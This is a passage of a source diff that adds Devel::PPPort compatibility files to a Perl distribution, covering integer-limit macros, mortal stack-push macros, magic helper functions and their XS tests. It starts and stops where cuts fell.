+isGV_with_GP()
+ PREINIT:
+ GV* gv;
+ CODE:
+ RETVAL = 0;
+ gv = gv_fetchpvs("Devel::PPPort::GvTest", GV_ADDMULTI, SVt_PVGV);
+ if (isGV_with_GP(gv))
+ {
+ RETVAL++;
+ }
+ if (!isGV(&PL_sv_undef))
+ {
+ RETVAL++;
+ }
+ OUTPUT:
+ RETVAL
+
+int
+get_cvn_flags()
+ PREINIT:
+ CV* xv;
+ CODE:
+ RETVAL = 0;
+ xv = get_cvn_flags("Devel::PPPort::foobar", sizeof("Devel::PPPort::foobar")-1, 0);
+ if(xv == NULL) RETVAL++;
+ xv = get_cvn_flags("Devel::PPPort::foobar", sizeof("Devel::PPPort::foobar")-1, GV_ADDMULTI);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+ xv = get_cvn_flags("Devel::PPPort::get_cvn_flags", sizeof("Devel::PPPort::get_cvn_flags")-1, 0);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+ OUTPUT:
+ RETVAL
+
+SV*
+gv_fetchpvn_flags()
+ CODE:
+#if { VERSION < 5.9.2 } || { VERSION > 5.9.3 } /* 5.9.2 and 5.9.3 ignore the length param */
+ RETVAL = newRV_inc((SV*)gv_fetchpvn_flags("Devel::PPPort::VERSIONFAKE", sizeof("Devel::PPPort::VERSIONFAKE")-5, 0, SVt_PV));
+#else
+ RETVAL = newRV_inc((SV*)gv_fetchpvn_flags("Devel::PPPort::VERSION", 0, 0, SVt_PV));
+#endif
+ OUTPUT:
+ RETVAL
+
+SV*
+gv_fetchsv(name)
+ SV *name
+ CODE:
+ RETVAL = newRV_inc((SV*)gv_fetchsv(name, 0, SVt_PV));
+ OUTPUT:
+ RETVAL
+
+void
+gv_init_type(namesv, multi, flags)
+ SV* namesv
+ int multi
+ I32 flags
+ PREINIT:
+ HV *defstash = gv_stashpv("main", 0);
+ STRLEN len;
+ const char * const name = SvPV_const(namesv, len);
+ GV *gv = *(GV**)hv_fetch(defstash, name, len, TRUE);
+ PPCODE:
+ if (SvTYPE(gv) == SVt_PVGV)
+ Perl_croak(aTHX_ "GV is already a PVGV");
+ if (multi) flags |= GV_ADDMULTI;
+ gv_init_pvn(gv, defstash, name, len, flags);
+ XPUSHs( gv ? (SV*)gv : &PL_sv_undef);
+
+=tests plan => 7
+
+ok(Devel::PPPort::GvSVn(), 1);
+
+ok(Devel::PPPort::isGV_with_GP(), 2);
+
+ok(Devel::PPPort::get_cvn_flags(), 3);
+
+ok(Devel::PPPort::gv_fetchpvn_flags(), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_fetchsv("Devel::PPPort::VERSION"), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_init_type("sanity_check", 0, 0), "*main::sanity_check");
+ok($::{sanity_check});
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits
new file mode 100644
index 00000000000..778383d9a05
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits
@@ -0,0 +1,326 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PERL_UCHAR_MIN
+PERL_UCHAR_MAX
+PERL_USHORT_MIN
+PERL_USHORT_MAX
+PERL_SHORT_MAX
+PERL_SHORT_MIN
+PERL_UINT_MAX
+PERL_UINT_MIN
+PERL_INT_MAX
+PERL_INT_MIN
+PERL_ULONG_MAX
+PERL_ULONG_MIN
+PERL_LONG_MAX
+PERL_LONG_MIN
+PERL_UQUAD_MAX
+PERL_UQUAD_MIN
+PERL_QUAD_MAX
+PERL_QUAD_MIN
+IVSIZE
+UVSIZE
+IVTYPE
+UVTYPE
+
+=implementation
+
+#ifdef I_LIMITS
+# include <limits.h>
+#endif
+
+#ifndef PERL_UCHAR_MIN
+# define PERL_UCHAR_MIN ((unsigned char)0)
+#endif
+
+#ifndef PERL_UCHAR_MAX
+# ifdef UCHAR_MAX
+# define PERL_UCHAR_MAX ((unsigned char)UCHAR_MAX)
+# else
+# ifdef MAXUCHAR
+# define PERL_UCHAR_MAX ((unsigned char)MAXUCHAR)
+# else
+# define PERL_UCHAR_MAX ((unsigned char)~(unsigned)0)
+# endif
+# endif
+#endif
+
+#ifndef PERL_USHORT_MIN
+# define PERL_USHORT_MIN ((unsigned short)0)
+#endif
+
+#ifndef PERL_USHORT_MAX
+# ifdef USHORT_MAX
+# define PERL_USHORT_MAX ((unsigned short)USHORT_MAX)
+# else
+# ifdef MAXUSHORT
+# define PERL_USHORT_MAX ((unsigned short)MAXUSHORT)
+# else
+# ifdef USHRT_MAX
+# define PERL_USHORT_MAX ((unsigned short)USHRT_MAX)
+# else
+# define PERL_USHORT_MAX ((unsigned short)~(unsigned)0)
+# endif
+# endif
+# endif
+#endif
+
+#ifndef PERL_SHORT_MAX
+# ifdef SHORT_MAX
+# define PERL_SHORT_MAX ((short)SHORT_MAX)
+# else
+# ifdef MAXSHORT /* Often used in <values.h> */
+# define PERL_SHORT_MAX ((short)MAXSHORT)
+# else
+# ifdef SHRT_MAX
+# define PERL_SHORT_MAX ((short)SHRT_MAX)
+# else
+# define PERL_SHORT_MAX ((short) (PERL_USHORT_MAX >> 1))
+# endif
+# endif
+# endif
+#endif
+
+#ifndef PERL_SHORT_MIN
+# ifdef SHORT_MIN
+# define PERL_SHORT_MIN ((short)SHORT_MIN)
+# else
+# ifdef MINSHORT
+# define PERL_SHORT_MIN ((short)MINSHORT)
+# else
+# ifdef SHRT_MIN
+# define PERL_SHORT_MIN ((short)SHRT_MIN)
+# else
+# define PERL_SHORT_MIN (-PERL_SHORT_MAX - ((3 & -1) == 3))
+# endif
+# endif
+# endif
+#endif
+
+#ifndef PERL_UINT_MAX
+# ifdef UINT_MAX
+# define PERL_UINT_MAX ((unsigned int)UINT_MAX)
+# else
+# ifdef MAXUINT
+# define PERL_UINT_MAX ((unsigned int)MAXUINT)
+# else
+# define PERL_UINT_MAX (~(unsigned int)0)
+# endif
+# endif
+#endif
+
+#ifndef PERL_UINT_MIN
+# define PERL_UINT_MIN ((unsigned int)0)
+#endif
+
+#ifndef PERL_INT_MAX
+# ifdef INT_MAX
+# define PERL_INT_MAX ((int)INT_MAX)
+# else
+# ifdef MAXINT /* Often used in <values.h> */
+# define PERL_INT_MAX ((int)MAXINT)
+# else
+# define PERL_INT_MAX ((int)(PERL_UINT_MAX >> 1))
+# endif
+# endif
+#endif
+
+#ifndef PERL_INT_MIN
+# ifdef INT_MIN
+# define PERL_INT_MIN ((int)INT_MIN)
+# else
+# ifdef MININT
+# define PERL_INT_MIN ((int)MININT)
+# else
+# define PERL_INT_MIN (-PERL_INT_MAX - ((3 & -1) == 3))
+# endif
+# endif
+#endif
+
+#ifndef PERL_ULONG_MAX
+# ifdef ULONG_MAX
+# define PERL_ULONG_MAX ((unsigned long)ULONG_MAX)
+# else
+# ifdef MAXULONG
+# define PERL_ULONG_MAX ((unsigned long)MAXULONG)
+# else
+# define PERL_ULONG_MAX (~(unsigned long)0)
+# endif
+# endif
+#endif
+
+#ifndef PERL_ULONG_MIN
+# define PERL_ULONG_MIN ((unsigned long)0L)
+#endif
+
+#ifndef PERL_LONG_MAX
+# ifdef LONG_MAX
+# define PERL_LONG_MAX ((long)LONG_MAX)
+# else
+# ifdef MAXLONG
+# define PERL_LONG_MAX ((long)MAXLONG)
+# else
+# define PERL_LONG_MAX ((long) (PERL_ULONG_MAX >> 1))
+# endif
+# endif
+#endif
+
+#ifndef PERL_LONG_MIN
+# ifdef LONG_MIN
+# define PERL_LONG_MIN ((long)LONG_MIN)
+# else
+# ifdef MINLONG
+# define PERL_LONG_MIN ((long)MINLONG)
+# else
+# define PERL_LONG_MIN (-PERL_LONG_MAX - ((3 & -1) == 3))
+# endif
+# endif
+#endif
+
+#if defined(HAS_QUAD) && (defined(convex) || defined(uts))
+# ifndef PERL_UQUAD_MAX
+# ifdef ULONGLONG_MAX
+# define PERL_UQUAD_MAX ((unsigned long long)ULONGLONG_MAX)
+# else
+# ifdef MAXULONGLONG
+# define PERL_UQUAD_MAX ((unsigned long long)MAXULONGLONG)
+# else
+# define PERL_UQUAD_MAX (~(unsigned long long)0)
+# endif
+# endif
+# endif
+
+# ifndef PERL_UQUAD_MIN
+# define PERL_UQUAD_MIN ((unsigned long long)0L)
+# endif
+
+# ifndef PERL_QUAD_MAX
+# ifdef LONGLONG_MAX
+# define PERL_QUAD_MAX ((long long)LONGLONG_MAX)
+# else
+# ifdef MAXLONGLONG
+# define PERL_QUAD_MAX ((long long)MAXLONGLONG)
+# else
+# define PERL_QUAD_MAX ((long long) (PERL_UQUAD_MAX >> 1))
+# endif
+# endif
+# endif
+
+# ifndef PERL_QUAD_MIN
+# ifdef LONGLONG_MIN
+# define PERL_QUAD_MIN ((long long)LONGLONG_MIN)
+# else
+# ifdef MINLONGLONG
+# define PERL_QUAD_MIN ((long long)MINLONGLONG)
+# else
+# define PERL_QUAD_MIN (-PERL_QUAD_MAX - ((3 & -1) == 3))
+# endif
+# endif
+# endif
+#endif
+
+/* This is based on code from 5.003 perl.h */
+#ifdef HAS_QUAD
+# ifdef cray
+ __UNDEFINED__ IVTYPE int
+ __UNDEFINED__ IV_MIN PERL_INT_MIN
+ __UNDEFINED__ IV_MAX PERL_INT_MAX
+ __UNDEFINED__ UV_MIN PERL_UINT_MIN
+ __UNDEFINED__ UV_MAX PERL_UINT_MAX
+# ifdef INTSIZE
+ __UNDEFINED__ IVSIZE INTSIZE
+# endif
+# else
+# if defined(convex) || defined(uts)
+ __UNDEFINED__ IVTYPE long long
+ __UNDEFINED__ IV_MIN PERL_QUAD_MIN
+ __UNDEFINED__ IV_MAX PERL_QUAD_MAX
+ __UNDEFINED__ UV_MIN PERL_UQUAD_MIN
+ __UNDEFINED__ UV_MAX PERL_UQUAD_MAX
+# ifdef LONGLONGSIZE
+ __UNDEFINED__ IVSIZE LONGLONGSIZE
+# endif
+# else
+ __UNDEFINED__ IVTYPE long
+ __UNDEFINED__ IV_MIN PERL_LONG_MIN
+ __UNDEFINED__ IV_MAX PERL_LONG_MAX
+ __UNDEFINED__ UV_MIN PERL_ULONG_MIN
+ __UNDEFINED__ UV_MAX PERL_ULONG_MAX
+# ifdef LONGSIZE
+ __UNDEFINED__ IVSIZE LONGSIZE
+# endif
+# endif
+# endif
+ __UNDEFINED__ IVSIZE 8
+ __UNDEFINED__ LONGSIZE 8
+ __UNDEFINED__ PERL_QUAD_MIN IV_MIN
+ __UNDEFINED__ PERL_QUAD_MAX IV_MAX
+ __UNDEFINED__ PERL_UQUAD_MIN UV_MIN
+ __UNDEFINED__ PERL_UQUAD_MAX UV_MAX
+#else
+ __UNDEFINED__ IVTYPE long
+ __UNDEFINED__ LONGSIZE 4
+ __UNDEFINED__ IV_MIN PERL_LONG_MIN
+ __UNDEFINED__ IV_MAX PERL_LONG_MAX
+ __UNDEFINED__ UV_MIN PERL_ULONG_MIN
+ __UNDEFINED__ UV_MAX PERL_ULONG_MAX
+#endif
+
+#ifndef IVSIZE
+# ifdef LONGSIZE
+# define IVSIZE LONGSIZE
+# else
+# define IVSIZE 4 /* A bold guess, but the best we can make. */
+# endif
+#endif
+
+__UNDEFINED__ UVTYPE unsigned IVTYPE
+__UNDEFINED__ UVSIZE IVSIZE
+
+=xsubs
+
+IV
+iv_size()
+ CODE:
+ RETVAL = IVSIZE == sizeof(IV);
+ OUTPUT:
+ RETVAL
+
+IV
+uv_size()
+ CODE:
+ RETVAL = UVSIZE == sizeof(UV);
+ OUTPUT:
+ RETVAL
+
+IV
+iv_type()
+ CODE:
+ RETVAL = sizeof(IVTYPE) == sizeof(IV);
+ OUTPUT:
+ RETVAL
+
+IV
+uv_type()
+ CODE:
+ RETVAL = sizeof(UVTYPE) == sizeof(UV);
+ OUTPUT:
+ RETVAL
+
+=tests plan => 4
+
+ok(&Devel::PPPort::iv_size());
+ok(&Devel::PPPort::uv_size());
+ok(&Devel::PPPort::iv_type());
+ok(&Devel::PPPort::uv_type());
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH
new file mode 100644
index 00000000000..a17972c7082
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH
@@ -0,0 +1,131 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ mPUSHs(s) PUSHs(sv_2mortal(s))
+__UNDEFINED__ PUSHmortal PUSHs(sv_newmortal())
+__UNDEFINED__ mPUSHp(p,l) sv_setpvn(PUSHmortal, (p), (l))
+__UNDEFINED__ mPUSHn(n) sv_setnv(PUSHmortal, (NV)(n))
+__UNDEFINED__ mPUSHi(i) sv_setiv(PUSHmortal, (IV)(i))
+__UNDEFINED__ mPUSHu(u) sv_setuv(PUSHmortal, (UV)(u))
+
+__UNDEFINED__ mXPUSHs(s) XPUSHs(sv_2mortal(s))
+__UNDEFINED__ XPUSHmortal XPUSHs(sv_newmortal())
+__UNDEFINED__ mXPUSHp(p,l) STMT_START { EXTEND(sp,1); sv_setpvn(PUSHmortal, (p), (l)); } STMT_END
+__UNDEFINED__ mXPUSHn(n) STMT_START { EXTEND(sp,1); sv_setnv(PUSHmortal, (NV)(n)); } STMT_END
+__UNDEFINED__ mXPUSHi(i) STMT_START { EXTEND(sp,1); sv_setiv(PUSHmortal, (IV)(i)); } STMT_END
+__UNDEFINED__ mXPUSHu(u) STMT_START { EXTEND(sp,1); sv_setuv(PUSHmortal, (UV)(u)); } STMT_END
+
+=xsubs
+
+void
+mPUSHs()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHs(newSVpv("foo", 0));
+ mPUSHs(newSVpv("bar13", 3));
+ mPUSHs(newSViv(42));
+ XSRETURN(3);
+
+void
+mPUSHp()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHp("one", 3);
+ mPUSHp("two", 3);
+ mPUSHp("three", 5);
+ XSRETURN(3);
+
+void
+mPUSHn()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHn(0.5);
+ mPUSHn(-0.25);
+ mPUSHn(0.125);
+ XSRETURN(3);
+
+void
+mPUSHi()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHi(-1);
+ mPUSHi(2);
+ mPUSHi(-3);
+ XSRETURN(3);
+
+void
+mPUSHu()
+ PPCODE:
+ EXTEND(SP, 3);
+ mPUSHu(1);
+ mPUSHu(2);
+ mPUSHu(3);
+ XSRETURN(3);
+
+void
+mXPUSHs()
+ PPCODE:
+ mXPUSHs(newSVpv("foo", 0));
+ mXPUSHs(newSVpv("bar13", 3));
+ mXPUSHs(newSViv(42));
+ XSRETURN(3);
+
+void
+mXPUSHp()
+ PPCODE:
+ mXPUSHp("one", 3);
+ mXPUSHp("two", 3);
+ mXPUSHp("three", 5);
+ XSRETURN(3);
+
+void
+mXPUSHn()
+ PPCODE:
+ mXPUSHn(0.5);
+ mXPUSHn(-0.25);
+ mXPUSHn(0.125);
+ XSRETURN(3);
+
+void
+mXPUSHi()
+ PPCODE:
+ mXPUSHi(-1);
+ mXPUSHi(2);
+ mXPUSHi(-3);
+ XSRETURN(3);
+
+void
+mXPUSHu()
+ PPCODE:
+ mXPUSHu(1);
+ mXPUSHu(2);
+ mXPUSHu(3);
+ XSRETURN(3);
+
+=tests plan => 10
+
+ok(join(':', &Devel::PPPort::mPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mPUSHu()), "1:2:3");
+
+ok(join(':', &Devel::PPPort::mXPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mXPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mXPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mXPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mXPUSHu()), "1:2:3");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic
new file mode 100644
index 00000000000..bf43a9ccdcb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic
@@ -0,0 +1,613 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+mg_findext
+sv_unmagicext
+
+__UNDEFINED__
+/sv_\w+_mg/
+sv_magic_portable
+MUTABLE_PTR
+MUTABLE_SV
+
+=implementation
+
+__UNDEFINED__ SvGETMAGIC(x) STMT_START { if (SvGMAGICAL(x)) mg_get(x); } STMT_END
+
+/* Some random bits for sv_unmagicext. These should probably be pulled in for
+ real and organized at some point */
+
+__UNDEFINED__ HEf_SVKEY -2
+
+#ifndef MUTABLE_PTR
+#if defined(__GNUC__) && !defined(PERL_GCC_BRACE_GROUPS_FORBIDDEN)
+# define MUTABLE_PTR(p) ({ void *_p = (p); _p; })
+#else
+# define MUTABLE_PTR(p) ((void *) (p))
+#endif
+#endif
+
+__UNDEFINED__ MUTABLE_SV(p) ((SV *)MUTABLE_PTR(p))
+
+/* end of random bits */
+
+__UNDEFINED__ PERL_MAGIC_sv '\0'
+__UNDEFINED__ PERL_MAGIC_overload 'A'
+__UNDEFINED__ PERL_MAGIC_overload_elem 'a'
+__UNDEFINED__ PERL_MAGIC_overload_table 'c'
+__UNDEFINED__ PERL_MAGIC_bm 'B'
+__UNDEFINED__ PERL_MAGIC_regdata 'D'
+__UNDEFINED__ PERL_MAGIC_regdatum 'd'
+__UNDEFINED__ PERL_MAGIC_env 'E'
+__UNDEFINED__ PERL_MAGIC_envelem 'e'
+__UNDEFINED__ PERL_MAGIC_fm 'f'
+__UNDEFINED__ PERL_MAGIC_regex_global 'g'
+__UNDEFINED__ PERL_MAGIC_isa 'I'
+__UNDEFINED__ PERL_MAGIC_isaelem 'i'
+__UNDEFINED__ PERL_MAGIC_nkeys 'k'
+__UNDEFINED__ PERL_MAGIC_dbfile 'L'
+__UNDEFINED__ PERL_MAGIC_dbline 'l'
+__UNDEFINED__ PERL_MAGIC_mutex 'm'
+__UNDEFINED__ PERL_MAGIC_shared 'N'
+__UNDEFINED__ PERL_MAGIC_shared_scalar 'n'
+__UNDEFINED__ PERL_MAGIC_collxfrm 'o'
+__UNDEFINED__ PERL_MAGIC_tied 'P'
+__UNDEFINED__ PERL_MAGIC_tiedelem 'p'
+__UNDEFINED__ PERL_MAGIC_tiedscalar 'q'
+__UNDEFINED__ PERL_MAGIC_qr 'r'
+__UNDEFINED__ PERL_MAGIC_sig 'S'
+__UNDEFINED__ PERL_MAGIC_sigelem 's'
+__UNDEFINED__ PERL_MAGIC_taint 't'
+__UNDEFINED__ PERL_MAGIC_uvar 'U'
+__UNDEFINED__ PERL_MAGIC_uvar_elem 'u'
+__UNDEFINED__ PERL_MAGIC_vstring 'V'
+__UNDEFINED__ PERL_MAGIC_vec 'v'
+__UNDEFINED__ PERL_MAGIC_utf8 'w'
+__UNDEFINED__ PERL_MAGIC_substr 'x'
+__UNDEFINED__ PERL_MAGIC_defelem 'y'
+__UNDEFINED__ PERL_MAGIC_glob '*'
+__UNDEFINED__ PERL_MAGIC_arylen '#'
+__UNDEFINED__ PERL_MAGIC_pos '.'
+__UNDEFINED__ PERL_MAGIC_backref '<'
+__UNDEFINED__ PERL_MAGIC_ext '~'
+
+/* That's the best we can do... */
+__UNDEFINED__ sv_catpvn_nomg sv_catpvn
+__UNDEFINED__ sv_catsv_nomg sv_catsv
+__UNDEFINED__ sv_setsv_nomg sv_setsv
+__UNDEFINED__ sv_pvn_nomg sv_pvn
+__UNDEFINED__ SvIV_nomg SvIV
+__UNDEFINED__ SvUV_nomg SvUV
+
+#ifndef sv_catpv_mg
+# define sv_catpv_mg(sv, ptr) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_catpv(TeMpSv,ptr); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_catpvn_mg
+# define sv_catpvn_mg(sv, ptr, len) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_catpvn(TeMpSv,ptr,len); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_catsv_mg
+# define sv_catsv_mg(dsv, ssv) \
+ STMT_START { \
+ SV *TeMpSv = dsv; \
+ sv_catsv(TeMpSv,ssv); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setiv_mg
+# define sv_setiv_mg(sv, i) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setiv(TeMpSv,i); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setnv_mg
+# define sv_setnv_mg(sv, num) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setnv(TeMpSv,num); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setpv_mg
+# define sv_setpv_mg(sv, ptr) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setpv(TeMpSv,ptr); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setpvn_mg
+# define sv_setpvn_mg(sv, ptr, len) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setpvn(TeMpSv,ptr,len); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setsv_mg
+# define sv_setsv_mg(dsv, ssv) \
+ STMT_START { \
+ SV *TeMpSv = dsv; \
+ sv_setsv(TeMpSv,ssv); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setuv_mg
+# define sv_setuv_mg(sv, i) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setuv(TeMpSv,i); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_usepvn_mg
+# define sv_usepvn_mg(sv, ptr, len) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_usepvn(TeMpSv,ptr,len); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+__UNDEFINED__ SvVSTRING_mg(sv) (SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_vstring) : NULL)
+
+/* Hint: sv_magic_portable
+ * This is a compatibility function that is only available with
+ * Devel::PPPort. It is NOT in the perl core.
+ * Its purpose is to mimic the 5.8.0 behaviour of sv_magic() when
+ * it is being passed a name pointer with namlen == 0. In that
+ * case, perl 5.8.0 and later store the pointer, not a copy of it.
+ * The compatibility can be provided back to perl 5.004. With
+ * earlier versions, the code will not compile.
+ */
+
+#if { VERSION < 5.004 }
+
+ /* code that uses sv_magic_portable will not compile */
+
+#elif { VERSION < 5.8.0 }
+
+# define sv_magic_portable(sv, obj, how, name, namlen) \
+ STMT_START { \
+ SV *SvMp_sv = (sv); \
+ char *SvMp_name = (char *) (name); \
+ I32 SvMp_namlen = (namlen); \
+ if (SvMp_name && SvMp_namlen == 0) \
+ { \
+ MAGIC *mg; \
+ sv_magic(SvMp_sv, obj, how, 0, 0); \
+ mg = SvMAGIC(SvMp_sv); \
+ mg->mg_len = -42; /* XXX: this is the tricky part */ \
+ mg->mg_ptr = SvMp_name; \
+ } \
+ else \
+ { \
+ sv_magic(SvMp_sv, obj, how, SvMp_name, SvMp_namlen); \
+ } \
+ } STMT_END
+
+#else
+
+# define sv_magic_portable(a, b, c, d, e) sv_magic(a, b, c, d, e)
+
+#endif
+
+#if !defined(mg_findext)
+#if { NEED mg_findext }
+
+MAGIC *
+mg_findext(SV * sv, int type, const MGVTBL *vtbl) {
+ if (sv) {
+ MAGIC *mg;
+
+#ifdef AvPAD_NAMELIST
+ assert(!(SvTYPE(sv) == SVt_PVAV && AvPAD_NAMELIST(sv)));
+#endif
+
+ for (mg = SvMAGIC (sv); mg; mg = mg->mg_moremagic) {
+ if (mg->mg_type == type && mg->mg_virtual == vtbl)
+ return mg;
+ }
+ }
+
+ return NULL;
+}
+
+#endif
+#endif
+
+#if !defined(sv_unmagicext)
+#if { NEED sv_unmagicext }
+
+int
+sv_unmagicext(pTHX_ SV *const sv, const int type, MGVTBL *vtbl)
+{
+ MAGIC* mg;
+ MAGIC** mgp;
+
+ if (SvTYPE(sv) < SVt_PVMG || !SvMAGIC(sv))
+ return 0;
+ mgp = &(SvMAGIC(sv));
+ for (mg = *mgp; mg; mg = *mgp) {
+ const MGVTBL* const virt = mg->mg_virtual;
+ if (mg->mg_type == type && virt == vtbl) {
+ *mgp = mg->mg_moremagic;
+ if (virt && virt->svt_free)
+ virt->svt_free(aTHX_ sv, mg);
+ if (mg->mg_ptr && mg->mg_type != PERL_MAGIC_regex_global) {
+ if (mg->mg_len > 0)
+ Safefree(mg->mg_ptr);
+ else if (mg->mg_len == HEf_SVKEY) /* Questionable on older perls... */
+ SvREFCNT_dec(MUTABLE_SV(mg->mg_ptr));
+ else if (mg->mg_type == PERL_MAGIC_utf8)
+ Safefree(mg->mg_ptr);
+ }
+ if (mg->mg_flags & MGf_REFCOUNTED)
+ SvREFCNT_dec(mg->mg_obj);
+ Safefree(mg);
+ }
+ else
+ mgp = &mg->mg_moremagic;
+ }
+ if (SvMAGIC(sv)) {
+ if (SvMAGICAL(sv)) /* if we're under save_magic, wait for restore_magic; */
+ mg_magical(sv); /* else fix the flags now */
+ }
+ else {
+ SvMAGICAL_off(sv);
+ SvFLAGS(sv) |= (SvFLAGS(sv) & (SVp_IOK|SVp_NOK|SVp_POK)) >> PRIVSHIFT;
+ }
+ return 0;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_mg_findext
+#define NEED_sv_unmagicext
+
+#ifndef STATIC
+#define STATIC static
+#endif
+
+STATIC MGVTBL null_mg_vtbl = {
+ NULL, /* get */
+ NULL, /* set */
+ NULL, /* len */
+ NULL, /* clear */
+ NULL, /* free */
+#if MGf_COPY
+ NULL, /* copy */
+#endif /* MGf_COPY */
+#if MGf_DUP
+ NULL, /* dup */
+#endif /* MGf_DUP */
+#if MGf_LOCAL
+ NULL, /* local */
+#endif /* MGf_LOCAL */
+};
+
+STATIC MGVTBL other_mg_vtbl = {
+ NULL, /* get */
+ NULL, /* set */
+ NULL, /* len */
+ NULL, /* clear */
+ NULL, /* free */
+#if MGf_COPY
+ NULL, /* copy */
+#endif /* MGf_COPY */
+#if MGf_DUP
+ NULL, /* dup */
+#endif /* MGf_DUP */
+#if MGf_LOCAL
+ NULL, /* local */
+#endif /* MGf_LOCAL */
+};
+
+=xsubs
+
+SV *
+new_with_other_mg(package, ...)
+ SV *package
+ PREINIT:
+ HV *self;
+ HV *stash;
+ SV *self_ref;
+ const char *data = "hello\0";
+ MAGIC *mg;
+ CODE:
+ self = newHV();
+ stash = gv_stashpv(SvPV_nolen(package), 0);
+
+ self_ref = newRV_noinc((SV*)self);
+
+ sv_magic((SV*)self, NULL, PERL_MAGIC_ext, data, strlen(data));
+ mg = mg_find((SV*)self, PERL_MAGIC_ext);
+ if (mg)
+ mg->mg_virtual = &other_mg_vtbl;
+ else
+ croak("No mg!");
+
+ RETVAL = sv_bless(self_ref, stash);
+ OUTPUT:
+ RETVAL
+
+SV *
+new_with_mg(package, ...)
+ SV *package
+ PREINIT:
+ HV *self;
+ HV *stash;
+ SV *self_ref;
+ const char *data = "hello\0";
+ MAGIC *mg;
+ CODE:
+ self = newHV();
+ stash = gv_stashpv(SvPV_nolen(package), 0);
+
+ self_ref = newRV_noinc((SV*)self);
+
+ sv_magic((SV*)self, NULL, PERL_MAGIC_ext, data, strlen(data));
+ mg = mg_find((SV*)self, PERL_MAGIC_ext);
+ if (mg)
+ mg->mg_virtual = &null_mg_vtbl;
+ else
+ croak("No mg!");
+
+ RETVAL = sv_bless(self_ref, stash);
+ OUTPUT:
+ RETVAL
+
+void
+remove_null_magic(self)
+ SV *self
+ PREINIT:
+ HV *obj;
+ PPCODE:
+ obj = (HV*) SvRV(self);
+
+ sv_unmagicext((SV*)obj, PERL_MAGIC_ext, &null_mg_vtbl);
+
+void
+remove_other_magic(self)
+ SV *self
+ PREINIT:
+ HV *obj;
+ PPCODE:
+ obj = (HV*) SvRV(self);
+
+ sv_unmagicext((SV*)obj, PERL_MAGIC_ext, &other_mg_vtbl);
+
+void
+as_string(self)
+ SV *self
+ PREINIT:
+ HV *obj;
+ MAGIC *mg;
+ PPCODE:
+ obj = (HV*) SvRV(self);
+
+ if ((mg = mg_findext((SV*)obj, PERL_MAGIC_ext, &null_mg_vtbl))) {
